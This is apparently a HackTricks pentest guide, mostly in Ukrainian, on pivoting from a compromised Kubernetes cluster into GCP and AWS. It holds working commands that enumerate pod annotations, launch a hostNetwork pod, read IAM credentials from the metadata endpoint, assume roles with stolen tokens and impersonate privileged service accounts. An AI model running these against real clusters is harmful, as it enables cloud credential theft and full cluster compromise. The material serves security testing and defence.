Kubernetes Pivoting to Clouds
Reading time: 13 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
GCP
Якщо ви запускаєте k8s cluster всередині GCP, ймовірно ви захочете, щоб деякий додаток у кластері мав доступ до GCP. Існує 2 поширених способи це зробити:
Mounting GCP-SA keys as secret
Поширений спосіб надати access to a kubernetes application to GCP — це:
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
warning
Тому, як attacker, якщо ви компрометуєте контейнер всередині pod, вам слід перевірити наявність цієї env variable та json files з обліковими даними GCP.
Relating GSA json to KSA secret
Спосіб надати GSA доступ до GKE cluster — пов'язати їх таким чином:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
kubectl create serviceaccount <service-account-name>
- Створіть Kubernetes Secret, який містить облікові дані сервісного облікового запису GCP, якому ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка
gcloud
, як показано в наведеному прикладі:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Прив'яжіть Kubernetes Secret до Kubernetes service account за допомогою наступної команди:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
У другому кроці було встановлено credentials of the GSA as secret of the KSA. Тож, якщо ви можете read that secret з середини GKE кластера, ви можете escalate to that GCP service account.
GKE Workload Identity
За допомогою Workload Identity ми можемо налаштувати a Kubernetes service account так, щоб він діяв як a Google service account. Pods, що працюють з Kubernetes service account, автоматично автентифікуються як Google service account при доступі до Google Cloud APIs.
The first series of steps to enable this behaviour is to enable Workload Identity in GCP (steps) and create the GCP SA you want k8s to impersonate.
- Enable Workload Identity на новому кластері
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Створити/Оновити новий nodepool (Autopilot clusters не потребують цього)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Створіть GCP Service Account to impersonate з K8s з дозволами GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Підключіться до cluster та створіть service account для використання
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Прив'язати GSA до KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Запустіть pod з KSA і перевірте access до GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Перевірте наступну команду для автентифікації у разі потреби:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Як атакуючий всередині K8s вам слід шукати SAs з iam.gke.io/gcp-service-account
анотацією, оскільки це вказує, що SA може отримати доступ до чогось у GCP. Інший варіант — спробувати зловживати кожним KSA в кластері й перевірити, чи має він доступ.
З боку GCP завжди корисно перерахувати bindings і знати, який доступ ви надаєте SAs всередині Kubernetes.
Це скрипт, який дозволяє легко перебирати всі визначення pods, шукаючи ту анотацію:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Старий спосіб надати Pods IAM Roles — використовувати Kiam або Kube2IAM server. По суті, вам потрібно запустити daemonset у вашому кластері з kind of privileged IAM role. Цей daemonset надаватиме доступ до IAM roles тим Pods, яким це необхідно.
Насамперед потрібно налаштувати which roles can be accessed inside the namespace, і це робиться за допомогою annotation всередині namespace object:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Після того як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете вказати роль, яку ви хочете на кожному pod definition, наприклад:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Як атакуючий, якщо ви знайдете ці анотації в pods або namespaces або якщо запущено сервер kiam/kube2iam (ймовірно в kube-system), ви можете видавати себе за кожну роль, яку вже використовують pods, і більше (якщо у вас є доступ до AWS — перелічіть roles).
Create Pod with IAM Role
note
IAM role, яку потрібно вказати, має бути в тому ж AWS account, що й роль kiam/kube2iam, і ця роль має мати до неї доступ.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role for K8s Service Accounts via OIDC
Це рекомендований спосіб від AWS.
- По-перше, потрібно створити провайдера OIDC для кластера.
- Після цього створіть IAM роль з дозволами, які знадобляться SA.
- Створіть доверчі відносини між IAM роллю та SA за ім'ям (або між роллю та неймспейсами, що надають доступ усім SA в неймспейсі). Доверчі відносини в основному перевіряють ім'я OIDC провайдера, ім'я namespace та ім'я SA.
- Нарешті, створіть SA з анотацією, яка вказує ARN ролі, і поди, що працюють під цим SA, матимуть доступ до токена ролі. Токен записується у файл, а шлях вказано в
AWS_WEB_IDENTITY_TOKEN_FILE
(за замовчуванням:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Щоб отримати доступ до aws, використовуючи token з /var/run/secrets/eks.amazonaws.com/serviceaccount/token
, виконайте:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Як атакуючий, якщо ви можете перерахувати K8s кластер, перевірте наявність service accounts with that annotation щоб escalate to AWS. Для цього просто exec/create pod використовуючи один з IAM privileged service accounts і вкрадіть token.
Крім того, якщо ви всередині pod, перевірте env variables такі як AWS_ROLE_ARN та AWS_WEB_IDENTITY_TOKEN.
caution
Іноді Turst Policy of a role може бути bad configured і замість надання AssumeRole доступу очікуваному service account, воно надається all the service accounts. Тому, якщо ви можете записати annotation у контрольований service account, ви зможете отримати доступ до role.
Перегляньте following page for more information:
Знайти Pods та SAs з IAM Roles у кластері
Це скрипт для простого iterate over the all the pods and sas definitions looking for that annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role to cluster-admin
Попередній розділ розповідав про те, як вкрасти IAM Roles за допомогою pods, але зауважте, що Node of the K8s cluster фактично є instance inside the cloud. Це означає, що Node, швидше за все, матиме IAM role you can steal (зауважте, що зазвичай усі nodes K8s кластера матимуть однаковий IAM role, тож може не мати сенсу перевіряти кожний node).
Щоб отримати доступ до node metadata endpoint, вам потрібно:
- Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша неправильна конфігурація, оскільки зазвичай різні pods у кластері потребують доступу до metadata endpoint, щоб не ламатися, і декілька компаній просто дозволяють доступ до metadata endpoint для всіх pods у кластері.
- Бути в pod з увімкненим
hostNetwork
. - Втекти з контейнера на node і напряму звернутися до metadata endpoint.
(Зауважте, що metadata endpoint завжди знаходиться за адресою 169.254.169.254).
Щоб escape to the node ви можете використати наступну команду, щоб запустити pod з увімкненим hostNetwork
:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Steal IAM Role Token
Раніше ми обговорювали, як attach IAM Roles to Pods або навіть як escape to the Node to steal the IAM Role, який прикріплений до інстансу.
Ви можете використати наступний скрипт, щоб steal ваші нові важко здобуті IAM role credentials:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
У підсумку: якщо можливо отримати доступ до EKS Node IAM role з pod, то можливо compromise the full kubernetes cluster.
Для детальнішої інформації перегляньте this post. Коротко, стандартна IAM EKS роль, яка призначається EKS nodes за замовчуванням, всередині має роль system:node
в межах kubernetes cluster. Ця роль дуже цікава, хоча обмежена kubernetes Node Restrictions.
Однак node завжди може generate tokens for service accounts, що працюють у pods всередині node. Тому, якщо node запускає pod з привілейованим service account, node може згенерувати token для цього service account і використати його, щоб impersonate цей service account, як у:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Посилання
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.